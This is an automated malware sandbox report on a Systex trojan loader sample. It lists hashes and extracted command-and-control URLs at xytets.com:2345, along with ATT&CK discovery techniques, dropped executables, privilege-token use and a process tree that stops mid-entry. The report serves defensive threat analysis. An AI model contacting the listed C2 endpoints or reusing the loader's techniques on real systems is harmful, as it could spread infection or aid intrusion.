systex | 40e123b3d7ea31ec0ac5d0fc16cfc7adf6b8cb8cfb5357cb06f0384872ba2683

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 01:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Size 376KB
Sample260814-bt52qsap41
SHA256 40e123b3d7ea31ec0ac5d0fc16cfc7adf6b8cb8cfb5357cb06f0384872ba2683
MD5 c826fc191cdd8b99c58144ec7cf233f0
SHA1 584b6b8e1b9a41b4fbed28fa88b32fed45297a39
SHA512 15a4412843b27178dbb44a46db53df28a1f0884bf9407f953574bd4c33e10b5898446aac8c39e7bb8ec4607ed999ee162214069708777b98c6363385d74a63bf
SSDEEP 3072:HFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:HFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T12E847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
4400	ecwuomgebwuomgeb.exe
1364	ecwuomgebwuomgeb.sys
1468	CreateProcess.exe
3332	jhbzwrlgyw.exe
2688	CreateProcess.exe
3104	CreateProcess.exe
3840	i_jhbzwrlgyw.exe
2664	ywqojgbywq.sys
2244	CreateProcess.exe
4700	vtoljdbvto.exe
1280	CreateProcess.exe
5040	CreateProcess.exe
1680	i_vtoljdbvto.exe
1960	dbvtnljgby.sys
836	CreateProcess.exe
1832	bvtnlgdyvq.exe
4940	CreateProcess.exe
2872	CreateProcess.exe
1808	i_bvtnlgdyvq.exe
2056	vtnlidavtn.sys
3656	CreateProcess.exe
6140	nifaysqkic.exe
3392	CreateProcess.exe
4296	CreateProcess.exe
3860	i_nifaysqkic.exe
2616	pnlfdxvpni.sys
3136	CreateProcess.exe
2840	fayspkicau.exe
1400	CreateProcess.exe
4744	CreateProcess.exe
5948	i_fayspkicau.exe
3196	causqkicau.sys
1128	CreateProcess.exe
4668	zxvpnhfzxs.exe
3492	CreateProcess.exe
1808	CreateProcess.exe
2524	i_zxvpnhfzxs.exe
5324	zxspkhcaus.sys
680	CreateProcess.exe
3336	xrpjhczxrp.exe
1336	CreateProcess.exe
1156	CreateProcess.exe
3276	i_xrpjhczxrp.exe
3020	rmkhczxuom.sys
4732	CreateProcess.exe
3232	rpmhcztrmj.exe
1736	CreateProcess.exe
5760	CreateProcess.exe
632	i_rpmhcztrmj.exe
5592	zxrpjhbztr.sys
4960	CreateProcess.exe
5904	ugeywromge.exe
2856	CreateProcess.exe
5720	CreateProcess.exe
1716	i_ugeywromge.exe
6032	rljhbztrlj.sys
2484	CreateProcess.exe
3548	ojgebwtomg.exe
5316	CreateProcess.exe
5936	CreateProcess.exe
4184	i_ojgebwtomg.exe
4348	qolgaywqoi.sys
4640	CreateProcess.exe
2888	qoigdywqoi.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1200_1966151645\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1200_85558193\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1200_1569126377\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1200_329596139\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1200_1966151645\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1200_85558193\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1200_1569126377\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1200_1569126377\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1200_1569126377\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtoljdbvto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpjhczxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpmhcztrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbzwrlgyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ugeywromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigdywqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdbvtqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifaysqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxvpnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpjhczxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojgebwtomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfaxspnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfaxspnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfzxuspki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hezxrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifaysqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hezxrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdbvtqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fayspkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwuomgebwuomgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtoljdbvto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kigaytndav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtomgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxvpnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpmhcztrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfzxuspki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhezxromk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtomgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fayspkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbzwrlgyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtnlgdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kigaytndav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtnlgdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ugeywromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhezxromk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqnlfdbywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojgebwtomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigdywqoi.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3080	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5084	ipconfig.exe
5464	ipconfig.exe
5660	ipconfig.exe
124	ipconfig.exe
5104	ipconfig.exe
1764	ipconfig.exe
5696	ipconfig.exe
5012	ipconfig.exe
3840	ipconfig.exe
2040	ipconfig.exe
4772	ipconfig.exe
4588	ipconfig.exe
3020	ipconfig.exe
4944	ipconfig.exe
5828	ipconfig.exe
6128	ipconfig.exe
6060	ipconfig.exe
2948	ipconfig.exe
3872	ipconfig.exe
2196	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134311444410082860"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3611646547-550105268-947503007-1000\{B1DAD4E3-2562-4060-95EC-72066CAA5572}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4400	ecwuomgebwuomgeb.exe
4400	ecwuomgebwuomgeb.exe
4400	ecwuomgebwuomgeb.exe
4400	ecwuomgebwuomgeb.exe
4400	ecwuomgebwuomgeb.exe
4400	ecwuomgebwuomgeb.exe
4400	ecwuomgebwuomgeb.exe
4400	ecwuomgebwuomgeb.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3840	i_jhbzwrlgyw.exe
Token: SeDebugPrivilege	1680	i_vtoljdbvto.exe
Token: SeDebugPrivilege	1808	i_bvtnlgdyvq.exe
Token: SeDebugPrivilege	3860	i_nifaysqkic.exe
Token: SeDebugPrivilege	5948	i_fayspkicau.exe
Token: SeDebugPrivilege	2524	i_zxvpnhfzxs.exe
Token: SeDebugPrivilege	3276	i_xrpjhczxrp.exe
Token: SeDebugPrivilege	632	i_rpmhcztrmj.exe
Token: SeDebugPrivilege	1716	i_ugeywromge.exe
Token: SeDebugPrivilege	4184	i_ojgebwtomg.exe
Token: SeDebugPrivilege	924	i_qoigdywqoi.exe
Token: SeDebugPrivilege	2104	i_nlfdbvtqli.exe
Token: SeDebugPrivilege	964	i_kigaytndav.exe
Token: SeDebugPrivilege	2368	i_nhfaxspnhf.exe
Token: SeDebugPrivilege	4168	i_nhfzxuspki.exe
Token: SeDebugPrivilege	2828	i_hezxrpjhbz.exe
Token: SeDebugPrivilege	2268	i_pjhezxromk.exe
Token: SeDebugPrivilege	2504	i_rljhbztrlj.exe
Token: SeDebugPrivilege	940	i_wtomgeywqo.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1200	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3556 wrote to memory of 4400	3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 3556 wrote to memory of 2344	3556	2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 2344 wrote to memory of 1200	2344	iexplore.exe	91
PID 1200 wrote to memory of 4952	1200	msedge.exe	92
PID 1200 wrote to memory of 1056	1200	msedge.exe	95
PID 1200 wrote to memory of 3080	1200	msedge.exe	94
PID 1200 wrote to memory of 1056	1200	msedge.exe	95
PID 1200 wrote to memory of 1056	1200	msedge.exe	95
PID 1200 wrote to memory of 1828	1200	msedge.exe	96
PID 1200 wrote to memory of 1828	1200	msedge.exe	96
PID 1200 wrote to memory of 4880	1200	msedge.exe	97
PID 1200 wrote to memory of 4880	1200	msedge.exe	97
PID 1200 wrote to memory of 4880	1200	msedge.exe	97
PID 1200 wrote to memory of 3696	1200	msedge.exe	98
PID 1200 wrote to memory of 3696	1200	msedge.exe	98
PID 1200 wrote to memory of 3696	1200	msedge.exe	98
PID 1200 wrote to memory of 700	1200	msedge.exe	99
PID 1200 wrote to memory of 700	1200	msedge.exe	99
PID 1200 wrote to memory of 700	1200	msedge.exe	99
PID 1200 wrote to memory of 4612	1200	msedge.exe	100
PID 1200 wrote to memory of 4612	1200	msedge.exe	100
PID 1200 wrote to memory of 4612	1200	msedge.exe	100
PID 1200 wrote to memory of 2404	1200	msedge.exe	101
PID 1200 wrote to memory of 2404	1200	msedge.exe	101
PID 1200 wrote to memory of 2660	1200	msedge.exe	105
PID 1200 wrote to memory of 5248	1200	msedge.exe	106
PID 1200 wrote to memory of 2660	1200	msedge.exe	105
PID 1200 wrote to memory of 5248	1200	msedge.exe	106
PID 4400 wrote to memory of 1468	4400	ecwuomgebwuomgeb.exe	107
PID 1200 wrote to memory of 5912	1200	msedge.exe	110
PID 3332 wrote to memory of 2688	3332	jhbzwrlgyw.exe	114
PID 4400 wrote to memory of 3104	4400	ecwuomgebwuomgeb.exe	117
PID 4400 wrote to memory of 2244	4400	ecwuomgebwuomgeb.exe	121
PID 4700 wrote to memory of 1280	4700	vtoljdbvto.exe	123
PID 4400 wrote to memory of 5040	4400	ecwuomgebwuomgeb.exe	126
PID 4400 wrote to memory of 836	4400	ecwuomgebwuomgeb.exe	130
PID 1832 wrote to memory of 4940	1832	bvtnlgdyvq.exe	132
PID 4400 wrote to memory of 2872	4400	ecwuomgebwuomgeb.exe	135
PID 1200 wrote to memory of 4720	1200	msedge.exe	137
PID 1200 wrote to memory of 4720	1200	msedge.exe	137
PID 1200 wrote to memory of 4484	1200	msedge.exe	138
PID 1200 wrote to memory of 4484	1200	msedge.exe	138
PID 4400 wrote to memory of 3656	4400	ecwuomgebwuomgeb.exe	142
PID 6140 wrote to memory of 3392	6140	nifaysqkic.exe	144
PID 4400 wrote to memory of 4296	4400	ecwuomgebwuomgeb.exe	147
PID 1200 wrote to memory of 1060	1200	msedge.exe	149
PID 1200 wrote to memory of 1132	1200	msedge.exe	150
PID 1200 wrote to memory of 4244	1200	msedge.exe	151
PID 4400 wrote to memory of 3136	4400	ecwuomgebwuomgeb.exe	154
PID 2840 wrote to memory of 1400	2840	fayspkicau.exe	156
PID 4400 wrote to memory of 4744	4400	ecwuomgebwuomgeb.exe	159
PID 4400 wrote to memory of 1128	4400	ecwuomgebwuomgeb.exe	163
PID 4668 wrote to memory of 3492	4668	zxvpnhfzxs.exe	165
PID 4400 wrote to memory of 1808	4400	ecwuomgebwuomgeb.exe	168
PID 4400 wrote to memory of 680	4400	ecwuomgebwuomgeb.exe	172
PID 3336 wrote to memory of 1336	3336	xrpjhczxrp.exe	174
PID 4400 wrote to memory of 1156	4400	ecwuomgebwuomgeb.exe	177
PID 4400 wrote to memory of 4732	4400	ecwuomgebwuomgeb.exe	181
PID 3232 wrote to memory of 1736	3232	rpmhcztrmj.exe	183
PID 4400 wrote to memory of 5760	4400	ecwuomgebwuomgeb.exe	186
PID 1200 wrote to memory of 2608	1200	msedge.exe	188
PID 1200 wrote to memory of 2608	1200	msedge.exe	188
PID 1200 wrote to memory of 1840	1200	msedge.exe	194
PID 1200 wrote to memory of 1840	1200	msedge.exe	194

C:\Users\Admin\AppData\Local\Temp\2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-14_c826fc191cdd8b99c58144ec7cf233f0_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3556
- C:\Temp\ecwuomgebwuomgeb.exe
  C:\Temp\ecwuomgebwuomgeb.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhbzwrlgyw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1468
  - - C:\Temp\jhbzwrlgyw.exe
      C:\Temp\jhbzwrlgyw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3332
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2688
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5696
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhbzwrlgyw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3104
  - - C:\Temp\i_jhbzwrlgyw.exe
      C:\Temp\i_jhbzwrlgyw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3840
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtoljdbvto.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2244
  - - C:\Temp\vtoljdbvto.exe
      C:\Temp\vtoljdbvto.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4700
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1280
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtoljdbvto.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5040
  - - C:\Temp\i_vtoljdbvto.exe
      C:\Temp\i_vtoljdbvto.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1680
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bvtnlgdyvq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:836
  - - C:\Temp\bvtnlgdyvq.exe
      C:\Temp\bvtnlgdyvq.exe ups_run
      4⤵
